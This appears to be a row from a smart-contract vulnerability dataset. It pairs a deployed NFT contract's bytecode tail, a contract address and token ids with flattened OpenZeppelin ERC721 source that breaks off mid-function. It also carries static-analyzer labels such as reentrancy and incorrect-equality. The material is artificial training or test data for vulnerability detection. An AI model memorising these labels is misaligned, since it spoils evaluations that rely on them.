73272076616c604482015261756560f01b6064820152608401610976565b600481600481111561300e5761300e613c50565b14156120145760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610976565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a083111561309e575060009050600361314b565b8460ff16601b141580156130b657508460ff16601c14155b156130c7575060009050600461314b565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa15801561311b573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166131445760006001925092505061314b565b9150600090505b94509492505050565b6000806001600160ff1b03831660ff84901c601b0161317587828885613067565b935093505050935093915050565b82805461318f90613bba565b90600052602060002090601f0160209004810192826131b157600085556131f7565b82601f106131ca5782800160ff198235161785556131f7565b828001600101855582156131f7579182015b828111156131f75782358255916020019190600101906131dc565b506113e99291506132d7565b82805461320f90613bba565b90600052602060002090601f01602090048101928261323157600085556131f7565b82601f1061324257805485556131f7565b828001600101855582156131f757600052602060002091601f016020900482015b828111156131f7578254825591600101919060010190613263565b8280548282559060005260206000209081019282156132cb579160200282015b828111156132cb57825180516132bb9184916020909101906132ec565b509160200191906001019061329e565b506113e9929150613360565b5b808211156113e957600081556001016132d8565b8280546132f890613bba565b90600052602060002090601f01602090048101928261331a57600085556131f7565b82601f1061333357805160ff19168380011785556131f7565b828001600101855582156131f7579182015b828111156131f7578251825591602001919060010190613345565b808211156113e9576000613374828261337d565b50600101613360565b50805461338990613bba565b6000825580601f10613399575050565b601f01602090049060005260206000209081019061201491906132d7565b60006001600160401b038311156133d0576133d0613c7c565b6133e3601f8401601f1916602001613a9b565b90508281528383830111156133f757600080fd5b828260208301376000602084830101529392505050565b80356001600160a01b038116811461342557600080fd5b919050565b60008083601f84011261343c57600080fd5b5081356001600160401b0381111561345357600080fd5b602083019150836020828501011115612ea557600080fd5b60006020828403121561347d57600080fd5b611d328261340e565b6000806040838503121561349957600080fd5b6134a28361340e565b91506134b06020840161340e565b90509250929050565b6000806000606084860312156134ce57600080fd5b6134d78461340e565b92506134e56020850161340e565b9150604084013590509250925092565b6000806000806080858703121561350b57600080fd5b6135148561340e565b93506135226020860161340e565b92506040850135915060608501356001600160401b0381111561354457600080fd5b8501601f8101871361355557600080fd5b613564878235602084016133b7565b91505092959194509250565b6000806040838503121561358357600080fd5b61358c8361340e565b9150602083013580151581146135a157600080fd5b809150509250929050565b600080604083850312156135bf57600080fd5b6135c88361340e565b946020939093013593505050565b600060208083850312156135e957600080fd5b82356001600160401b038082111561360057600080fd5b818501915085601f83011261361457600080fd5b81358181111561362657613626613c7c565b8060051b613635858201613a9b565b8281528581019085870183870188018b101561365057600080fd5b600093505b848410156136a35780358681111561366c57600080fd5b8701603f81018c1361367d57600080fd5b61368e8c8a830135604084016133b7565b84525060019390930192918701918701613655565b509998505050505050505050565b6000602082840312156136c357600080fd5b8135611d3281613c92565b6000602082840312156136e057600080fd5b8151611d3281613c92565b6000602082840312156136fd57600080fd5b813560048110611d3257600080fd5b6000806020838503121561371f57600080fd5b82356001600160401b0381111561373557600080fd5b6137418582860161342a565b90969095509350505050565b60006020828403121561375f57600080fd5b5035919050565b6000806040838503121561377957600080fd5b823591506134b06020840161340e565b60008060006040848603121561379e57600080fd5b8335925060208401356001600160401b038111156137bb57600080fd5b6137c78682870161342a565b9497909650939450505050565b600081518084526137ec816020860160208601613b77565b601f01601f19169290920160200192915050565b60008351613812818460208801613b77565b835190830190613826818360208801613b77565b01949350505050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090613862908301846137d4565b9695505050505050565b6000602080830181845280855180835260408601915060408160051b870101925083870160005b828110156138c157603f198886030184526138af8583516137d4565b94509285019290850190600101613893565b5092979650505050505050565b60208101600483106138f057634e487b7160e01b600052602160045260246000fd5b91905290565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b602081526000611d3260208301846137d4565b60608152600061394b60608301866137d4565b6001600160a01b0394851660208401529290931660409091015292915050565b600060208083526000845481600182811c91508083168061398d57607f831692505b8583108114156139ab57634e487b7160e01b85526022600452602485fd5b8786018381526020018180156139c857600181146139d957613a04565b60ff19861682528782019650613a04565b60008b81526020902060005b868110156139fe578154848201529085019089016139e5565b83019750505b50949998505050505050505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526033908201527f455243373231413a207472616e7366657220746f206e6f6e204552433732315260408201527232b1b2b4bb32b91034b6b83632b6b2b73a32b960691b606082015260800190565b604051601f8201601f191681016001600160401b0381118282101715613ac357613ac3613c7c565b604052919050565b60006001600160801b0380831681851680830382111561382657613826613c24565b60008219821115613b0057613b00613c24565b500190565b600082613b1457613b14613c3a565b500490565b6000816000190483118215151615613b3357613b33613c24565b500290565b60006001600160801b0383811690831681811015613b5857613b58613c24565b039392505050565b600082821015613b7257613b72613c24565b500390565b60005b83811015613b92578181015183820152602001613b7a565b83811115611c3b5750506000910152565b600081613bb257613bb2613c24565b506000190190565b600181811c90821680613bce57607f821691505b60208210811415613bef57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415613c0957613c09613c24565b5060010190565b600082613c1f57613c1f613c3a565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b03198116811461201457600080fdfea2646970667358221220de4aaf1b7f2c402e1a01ded4dbdb21c10fd1b806e2b16337a588c9c258431d4a64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 19841, 2094, 2629, 2063, 2692, 2497, 2094, 2629, 2278, 2549, 2546, 16147, 2509, 11329, 2278, 2546, 2581, 2546, 2094, 28311, 2683, 28154, 2692, 2278, 2629, 2546, 2629, 2278, 2575, 2683, 2497, 2475, 2094, 2683, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 4769, 1012, 14017, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 21183, 12146, 1013, 4769, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3074, 1997, 4972, 3141, 2000, 1996, 4769, 2828, 1008, 1013, 3075, 4769, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,601
0x970Df04b86eB79E4Df0c9ddc51cf5240223fa354
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of 